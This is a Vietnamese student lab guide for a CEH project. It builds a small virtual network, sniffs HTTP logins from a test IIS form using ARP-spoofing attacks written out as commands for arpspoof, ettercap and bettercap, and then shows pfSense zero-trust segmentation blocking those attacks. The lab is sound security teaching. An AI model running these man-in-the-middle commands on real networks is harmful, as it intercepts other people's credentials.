THIẾT KẾ ĐỀ TÀI CEH CHI TIẾT

CÁC LOẠI MÁY ẢO

-Máy victim(win 10)

-Máy server(server 2022)

-Máy firewall(pfsense)

-Máy attack(kali linux)

THIẾT LẬP TRƯỚC KHI CÀI ZERO TRUST

1. Card máy ảo(card tùy theo người đặt)

Trong lần kiểm đầu tiên này ta sẽ dung tất cả các máy chung một card ưu tiên card ko có hot only

-Victim: VMnet12

-Attack: VMnet12

-Server: VMnet12

-Firewall: NAT vàVMnet12

Lưu ý: vì mới đầu ta sẽ kiểm thử theo firewall thường nên trong tình trạng này firewall pfsense chưa có công dụng gì cả

2. Thiết lập firewall

Gồm nat cơ bản ta ko cấu hình

Cấu hình card vmnet 12 bỏ qua LAN cấu hình dhcp kéo từ 192.168.10.10 – 192.168.10.100

Lý do ta cần cấu hình card VMnet12 của pfsense để lên đc HTTPS của pfsense

3. Thiết lập domain và web IIS

- Ta đặt ip tĩnh cho máy domain vì dụ như:

Ip: 192.168.10.10

Defaut: 192.168.10.1 theo firewall pfsense(vì nó nối đến pfsense để có thể truy cập web)

Dns: thì tùy

- Thiết lập domain và user(khi cài ta cài cả dns server và web IIS)

- Truy cập C:\inetpub\wwwroot, xóa các file mặc định.

Thay thế file index.html của nó bằng.

```
<html>
<body>
```

```
    <h2>Cong thong tin noi bo</h2>
    <form action="submit" method="POST">
        Username: <input type="text" name="username"><br><br>
        Password: <input type="password" name="password"><br><br>
        <input type="submit" value="Login">
    </form>
</body>
</html>
```

2. join domain

Để join domain trên server tắt hết tường lửa đi

Bên Victim cũng tắt đi và đặt ip tĩnh:

- Ip 192.168.10.20
- Default: 192.168.10.10
- Dns: 192.168.10.1

- Sau đó vào nhanh:

- Gõ sysdm.cpl và nhấn Enter.
- Tại thẻ Computer Name, bấm vào nút Change....
- Thay tên domain vào
- Nhập user máy server vào
- Reset và nhập user ở domain đã tạo

3. tấn công

Bật định tuyến trung gian: sudo sysctl -w net.ipv4.ip_forward=1.

Tấn công bằng Arpspoof:

- Chạy lệnh: sudo arpspoof -i eth0 -r -t 192.168.10.20 192.168.10.10.
- Mở Wireshark bắt cổng eth0, lọc gói tin http sẽ bóc tách được username="admin" và password="kalilinux".

Tấn công bằng Ettercap: Chạy lệnh sudo ettercap -T -q -i eth0 -M arp:remote /192.168.10.20// /192.168.10.10// để hiển thị mật khẩu trực tiếp trên Terminal.

Tấn công bằng Bettercap: Chạy sudo bettercap -iface eth0, sau đó nhập lần lượt: net.probe on, set arp.spoof.targets 192.168.10.20, 192.168.10.10, arp.spoof on, net.sniff on. Mật khẩu sẽ hiển thị trên console.

Lưu ý: nếu đặt ip khác thì thay thế ip các ip trên vào

Khi ta tấn công mở wireshark ko thấy gì thì vào bên victim mở web của server và nhập đại user và password vào thì nó sẽ trả lại về wireshark

---

THIẾT LẬP ZERO TRUST, VI PHÂN ĐOẠN VÀ PHÒNG THỦ

1. Card mạng

- pfSense: Dùng 4 Card mạng gồm WAN (NAT), LAN (Vmnet12), OPT1 (Vmnet13), và OPT2 (Vmnet14).
- Windows Server: Chuyển sang dùng 1 Card mạng là Vmnet13.
- Windows 10 (Victim): Giữ nguyên 1 Card mạng là Vmnet12.
- Kali Linux (Attacker): Chuyển sang dùng 1 Card mạng là Vmnet14.

Lưu ý: ta có thể thay thế các card mạng trên theo ý của chính bản than

2. Cấu hình pfsense trên chính máy pfsense

Định tuyến cổng và cấp quyền truy cập trên pfSense

- Trên console pfSense, chọn tùy chọn số 1 (Assign Interfaces) để gán cổng em2 cho OPT1 và em3 cho OPT2.
- Chọn tùy chọn số 2 (Set interface(s) IP address) để đặt IP Gateway tĩnh cho OPT1 là 192.168.20.1/24. Máy Windows Server cũng được đổi IP tĩnh sang 192.168.20.10.
- Trên giao diện web pfSense (từ Client), vào System > Advanced > Network Interfaces, chọn thêm cổng OPT1.
- Vào Firewall > Rules (Tab OPT1), tạo luật Pass (Action: Pass, Interface: OPT1, Protocol: TCP) cho phép Source 192.168.20.10 (Windows Server) kết nối đến Destination 192.168.20.1 (pfSense GUI).

3. Thiết lập Luật Tường lửa Zero Trust (Tab LAN)

- Vào Firewall > Aliases > Ports, tạo nhóm AD_IIS_Ports chứa các cổng 53, 80, 88, 389, 445.
- Luật Pass (Phải nằm trên cùng): Action: Pass, Interface: LAN, Protocol: TCP/UDP, Source: 192.168.10.20, Destination: 192.168.20.10, Destination Port Range: AD_IIS_Ports.
- Luật Block (Nằm dưới luật Pass): Action: Block, Interface: LAN, Protocol: any, Source: 192.168.10.20, Destination: Any.
- Vùng của Kali (OPT2/Vmnet14) không cần tạo luật, tự động áp dụng Default Deny từ gốc để cô lập hoàn toàn. Nhấn Apply Changes để áp dụng.

4. Thử tấn công lại

Bật định tuyến trung gian: sudo sysctl -w net.ipv4.ip_forward=1.

Trinh sát mạng (Reconnaissance) Theo chuẩn CEH, trước khi tấn công MitM, hacker sẽ thăm dò mục tiêu.

- Lệnh thực thi: ping -c 4 192.168.20.10 hoặc quét Nmap nmap -sn 192.168.20.0/24
- Kết quả chứng minh: Trả về lỗi Network is unreachable hoặc failed to determine route. Cùng lúc đó, trong Firewall Logs của pfSense sẽ xuất hiện các dấu X đỏ chặn lưu lượng từ IP của Kali (chứng minh luật Default Deny hoạt động).

Tấn công bằng Arpspoof

- Lệnh thực thi: sudo arpspoof -i eth0 -r -t 192.168.10.20 192.168.20.10
- Kết quả chứng minh: Lệnh sẽ văng lỗi (ví dụ: segmentation fault) hoặc không sinh ra bất kỳ luồng gói tin nào, do phân vùng vmnet14 không thể phát sóng (Broadcast) ARP Request sang các vmnet khác.

Tấn công bằng Ettercap

- Lệnh thực thi: sudo ettercap -T -q -i eth0 -M arp:remote /192.168.10.20// /192.168.20.10//
- Kết quả chứng minh: Ettercap sẽ chạy quét nhanh và văng ra dòng lỗi đỏ: FATAL: ARP poisoning needs a non empty hosts list. Điều này chứng minh ranh giới Tầng liên kết dữ liệu (Layer 2) đã bị bẻ gãy hoàn toàn.

Tấn công bằng Bettercap

- Lệnh thực thi: Chạy sudo bettercap -iface eth0, sau đó thiết lập mục tiêu mới:
    - net.probe on
    - set arp.spoof.targets 192.168.10.20, 192.168.20.10
    - arp.spoof on
- Kết quả chứng minh: Console của Bettercap sẽ liên tục hiển thị cảnh báo: [war] arp.spoof could not find spoof targets. Kẻ tấn công bất lực hoàn toàn trong việc tìm kiếm thiết bị để đầu độc.

Lưu ý: nếu đặt ip khác thì thay thế ip các ip trên vào